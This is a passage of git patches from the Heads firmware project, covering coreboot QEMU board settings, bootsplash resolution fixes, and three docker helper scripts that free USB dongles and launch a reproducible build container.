+CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_QEMU_X86=y +# CONFIG_CPU_QEMU_X86_NO_SMM is not set +CONFIG_CPU_QEMU_X86_ASEG_SMM=y +# CONFIG_CPU_QEMU_X86_TSEG_SMM is not set +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_UNKNOWN_TSC_RATE=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_ASEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_SOUTHBRIDGE_INTEL_I82801IX=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_MAINBOARD_HAS_CHROMEOS=y + +# +# ChromeOS +# +# end of ChromeOS + +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x100000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +# CONFIG_USBDEBUG is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1280 +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=720 +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_VGA=y +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_DRIVERS_MTK_WIFI is not set +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM2 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +CONFIG_CONSOLE_QEMU_DEBUGCON=y +CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_DECOMPRESS_OFAST=y +CONFIG_PROBE_RAM=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From 5600c096105c57885c7a304d2cc83d0ee9c4fab6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 19 Nov 2024 15:18:41 -0500 Subject: [PATCH 338/619] bugfix, bootsplash: qemu coreboot prod configs: add CONFIG_BOOTSPLASH_CONVERT_RESIZE=y and CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1280x720" Signed-off-by: Thierry Laurion --- config/coreboot-qemu-tpm1-prod.config | 5 +++-- config/coreboot-qemu-tpm2-prod.config | 5 +++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/config/coreboot-qemu-tpm1-prod.config b/config/coreboot-qemu-tpm1-prod.config index 94e0990d2..8ecfb64f7 100644 --- a/config/coreboot-qemu-tpm1-prod.config +++ b/config/coreboot-qemu-tpm1-prod.config @@ -39,7 +39,8 @@ CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +CONFIG_BOOTSPLASH_CONVERT_RESIZE=y +CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1280x720" # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set @@ -327,7 +328,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -443,6 +443,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_HEAP_SIZE=0x100000 # # Console diff --git a/config/coreboot-qemu-tpm2-prod.config b/config/coreboot-qemu-tpm2-prod.config index 4baf458b8..85f5987d4 100644 --- a/config/coreboot-qemu-tpm2-prod.config +++ b/config/coreboot-qemu-tpm2-prod.config @@ -39,7 +39,8 @@ CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +CONFIG_BOOTSPLASH_CONVERT_RESIZE=y +CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1280x720" # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set @@ -324,7 +325,6 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 # end of Display CONFIG_PCI=y @@ -436,6 +436,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_HEAP_SIZE=0x100000 # # Console From 7c539c9aff26c4d18de0a7c8676ac7264b3be17a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 19 Nov 2024 18:15:39 -0500 Subject: [PATCH 339/619] bugfix qemu boards: revert changes of CONFIG_BOOTSPLASH_CONVERT_RESOLUTION=XYZ for all boards, set qemu prod boards to 1440x810 * CONFIG_BOOTSPLASH_CONVERT_RESOLUTION: setting this stretches the bootsplash and makes it ugly. Revert the change on master so that produced videos/screenshots are ok. * qemu prod boards: CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1440 and CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=810 brings the Height just big enough to fit on screens we mostly have out there. * qemu dev boards: CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 and CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768: is a reminder of x230's 1376x768 (16:9) for Height and shows us that things are not perfect for all platforms Notes: - cannot put to 1376x768 for qemu (would have been nice to see what console text looks like + fbwhiptail windows for x230 (min screen size supported) - that tears bochs fb for some unknown reason - doesn't tear x230 fb (TODO: bug report for bochs qemu driver?) Signed-off-by: Thierry Laurion --- config/coreboot-qemu-tpm1-prod.config | 7 +++---- config/coreboot-qemu-tpm2-prod.config | 7 +++---- 2 files changed, 6 insertions(+), 8 deletions(-) diff --git a/config/coreboot-qemu-tpm1-prod.config b/config/coreboot-qemu-tpm1-prod.config index 8ecfb64f7..c48958def 100644 --- a/config/coreboot-qemu-tpm1-prod.config +++ b/config/coreboot-qemu-tpm1-prod.config @@ -39,8 +39,7 @@ CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -CONFIG_BOOTSPLASH_CONVERT_RESIZE=y -CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1280x720" +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set @@ -365,8 +364,8 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1280 -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=720 +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1440 +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=810 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set diff --git a/config/coreboot-qemu-tpm2-prod.config b/config/coreboot-qemu-tpm2-prod.config index 85f5987d4..e1dee0ecc 100644 --- a/config/coreboot-qemu-tpm2-prod.config +++ b/config/coreboot-qemu-tpm2-prod.config @@ -39,8 +39,7 @@ CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -CONFIG_BOOTSPLASH_CONVERT_RESIZE=y -CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1280x720" +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set @@ -359,8 +358,8 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1280 -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=720 +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1440 +CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=810 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set From e70e2f70165692116bff4c76ed43f81622195c2f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 21 Nov 2024 11:03:31 -0500 Subject: [PATCH 340/619] ./docker_*: add 3 nix+docker helpers; local_dev, latest and repro - Kill any GPG toolstack USB host consumers of USB devices so targets/qemu.md instruction can be used as intended (usb security dongles, HOTP features) Signed-off-by: Thierry Laurion --- docker_latest.sh | 49 ++++++++++++++++++++++++++ docker_local_dev.sh | 84 +++++++++++++++++++++++++++++++++++++++++++++ docker_repro.sh | 58 +++++++++++++++++++++++++++++++ 3 files changed, 191 insertions(+) create mode 100755 docker_latest.sh create mode 100755 docker_local_dev.sh create mode 100755 docker_repro.sh diff --git a/docker_latest.sh b/docker_latest.sh new file mode 100755 index 000000000..e831b0584 --- /dev/null +++ b/docker_latest.sh @@ -0,0 +1,49 @@ +#!/bin/bash + +# Inform the user that the latest published Docker image is being used +echo "Using the latest Docker image: tlaurion/heads-dev-env:latest" + +# Function to display usage information +usage() { + echo "Usage: $0 [OPTIONS] -- [COMMAND]" + echo "Options:" + echo " CPUS=N Set the number of CPUs" + echo " V=1 Enable verbose mode" + echo "Command:" + echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" +} + +# Function to kill GPG toolstack related processes using USB devices +kill_usb_processes() { + echo "Killing any GPG toolstack related processes on host currently using USB devices..." + sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 + if [ $? -ne 0 ]; then + echo "Failed to kill GPG toolstack related processes using USB devices. Please run the following command manually:" + echo "sudo lsof /dev/bus/usb/00*/0* | awk 'NR>1 {print \$2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print \$1}' | xargs -r sudo kill -9" + exit 1 + fi +} + +# Handle Ctrl-C (SIGINT) to exit gracefully +trap "echo 'Script interrupted. Exiting...'; exit 1" SIGINT + +# Check if --help or -h is provided +for arg in "$@"; do + if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then + usage + exit 0 + fi +done + +# Kill processes using USB devices +kill_usb_processes + +# Inform the user about entering the Docker container +echo "----" +echo "Usage reminder: The minimal command is 'make BOARD=XYZ', where additional options, including 'V=1' or 'CPUS=N' are optional." +echo "For more advanced QEMU testing options, refer to targets/qemu.md and boards/qemu-*/*.config." +echo "----" +echo "Entering the Docker container. Type 'exit' to return to the host shell." + +# Execute the docker run command with the provided parameters +docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- "$@" diff --git a/docker_local_dev.sh b/docker_local_dev.sh new file mode 100755 index 000000000..dd543d151 --- /dev/null +++ b/docker_local_dev.sh @@ -0,0 +1,84 @@ +#!/bin/bash + +# Check if Nix is installed +if ! command -v nix &> /dev/null; then + echo "Nix is not installed or not in the PATH. Please install Nix before running this script." + echo "Refer to the README.md at the root of the repository for installation instructions." + exit 1 +fi + +# Check if Docker is installed +if ! command -v docker &> /dev/null; then + echo "Docker is not installed or not in the PATH. Please install Docker before running this script." + echo "Refer to the README.md at the root of the repository for installation instructions." + exit 1 +fi + +# Inform the user about the Docker image being used +echo "** This ./docker_local_dev.sh script is for developers usage only. **" +echo "" +echo "Using the last locally produced Docker image: linuxboot/heads:dev-env" +echo "Warning: Using anything other than the published Docker image might lead to non-reproducible builds." +echo "" +echo "For using the latest published Docker image, refer to ./docker_latest.sh." +echo "For producing reproducible builds as CircleCI, refer to ./docker_repro.sh." +echo "" +echo "---" + +# Function to display usage information +usage() { + echo "Usage: $0 [OPTIONS] -- [COMMAND]" + echo "Options:" + echo " CPUS=N Set the number of CPUs" + echo " V=1 Enable verbose mode" + echo "Command:" + echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" +} + +# Function to kill GPG toolstack related processes using USB devices +kill_usb_processes() { + echo "Killing any GPG toolstack related processes on host currently using USB devices..." + sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 + if [ $? -ne 0 ]; then + echo "Failed to kill GPG toolstack related processes using USB devices. Please run the following command manually:" + echo "sudo lsof /dev/bus/usb/00*/0* | awk 'NR>1 {print \$2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print \$1}' | xargs -r sudo kill -9" + exit 1 + fi +} + +# Handle Ctrl-C (SIGINT) to exit gracefully +trap "echo 'Script interrupted. Exiting...'; exit 1" SIGINT + +# Check if --help or -h is provided +for arg in "$@"; do + if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then + usage + exit 0 + fi +done + +# Check if the git repository is dirty and if flake.nix or flake.lock are part of the uncommitted changes +if [ -n "$(git status --porcelain | grep -E 'flake\.nix|flake\.lock')" ]; then + echo "Warning: Uncommitted changes detected in flake.nix or flake.lock. The Docker image will be rebuilt." + echo "If this was not intended, please commit your changes and rerun the script." + echo "Building the Docker image from flake.nix..." + nix --print-build-logs --verbose develop --ignore-environment --command true + nix --print-build-logs --verbose build .#dockerImage && docker load < result +else + echo "Git repository is clean. Using the previously built Docker image." + echo "---" + sleep 1 +fi + +# Kill processes using USB devices +kill_usb_processes + +# Inform the user about entering the Docker container +echo "----" +echo "Usage reminder: The minimal command is 'make BOARD=XYZ', where additional options, including 'V=1' or 'CPUS=N' are optional." +echo "For more advanced QEMU testing options, refer to targets/qemu.md and boards/qemu-*/*.config." +echo "----" +echo "Entering the Docker container. Type 'exit' to return to the host shell." + +# Execute the docker run command with the provided parameters +docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- "$@" diff --git a/docker_repro.sh b/docker_repro.sh new file mode 100755 index 000000000..173bef62c --- /dev/null +++ b/docker_repro.sh @@ -0,0 +1,58 @@ +#!/bin/bash + +# Extract the Docker image version from the CircleCI config file +DOCKER_IMAGE=$(grep -oP '^\s*-?\s*image:\s*\K(tlaurion/heads-dev-env:[^\s]+)' .circleci/config.yml | head -n 1) + +# Check if the Docker image was found +if [ -z "$DOCKER_IMAGE" ]; then + echo "Error: Docker image not found in .circleci/config.yml" + exit 1 +fi + +# Inform the user about the versioned CircleCI Docker image being used +echo "Using CircleCI Docker image: $DOCKER_IMAGE" + +# Function to display usage information +usage() { + echo "Usage: $0 [OPTIONS] -- [COMMAND]" + echo "Options:" + echo " CPUS=N Set the number of CPUs" + echo " V=1 Enable verbose mode" + echo "Command:" + echo " The command to run inside the Docker container, e.g., make BOARD=BOARD_NAME" +} + +# Function to kill GPG toolstack related processes using USB devices +kill_usb_processes() { + echo "Killing any GPG toolstack related processes on host currently using USB devices..." + sudo lsof /dev/bus/usb/00*/0* 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print $1}' | xargs -r sudo kill -9 + if [ $? -ne 0 ]; then + echo "Failed to kill GPG toolstack related processes using USB devices. Please run the following command manually:" + echo "sudo lsof /dev/bus/usb/00*/0* | awk 'NR>1 {print \$2}' | xargs -r ps -p | grep -E 'scdaemon|pcscd' | awk '{print \$1}' | xargs -r sudo kill -9" + exit 1 + fi +} + +# Handle Ctrl-C (SIGINT) to exit gracefully +trap "echo 'Script interrupted. Exiting...'; exit 1" SIGINT + +# Check if --help or -h is provided +for arg in "$@"; do + if [[ "$arg" == "--help" || "$arg" == "-h" ]]; then + usage + exit 0 + fi +done + +# Kill processes using USB devices +kill_usb_processes + +# Inform the user about entering the Docker container +echo "----" +echo "Usage reminder: The minimal command is 'make BOARD=XYZ', where additional options, including 'V=1' or 'CPUS=N' are optional." +echo "For more advanced QEMU testing options, refer to targets/qemu.md and boards/qemu-*/*.config." +echo "----" +echo "Entering the Docker container. Type 'exit' to return to the host shell." + +# Execute the docker run command with the provided parameters +docker run --device=/dev/bus/usb:/dev/bus/usb -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) $DOCKER_IMAGE -- "$@" From 4ec2fef3e90bd6c3c52f2ca78474cf4be4c0ffeb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 21 Nov 2024 11:07:17 -0500 Subject: [PATCH 341/619] README.md: simplify local usage of nix/docker for devs/local images builders(local repro of CircleCI builds), referring to ./docker_*.sh scripts created Signed-off-by: Thierry Laurion --- README.md | 28 ++++++++++++++++------------ 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index cda6d788d..c8d6bc24e 100644 --- a/README.md +++ b/README.md @@ -55,10 +55,10 @@ Build docker from nix develop layer locally #### Build image +* Have docker and Nix installed + * Build nix developer local environment with flakes locked to specified versions - * `nix --print-build-logs --verbose develop --ignore-environment --command true` -* Build docker image with current develop created environment (this will take a while and create 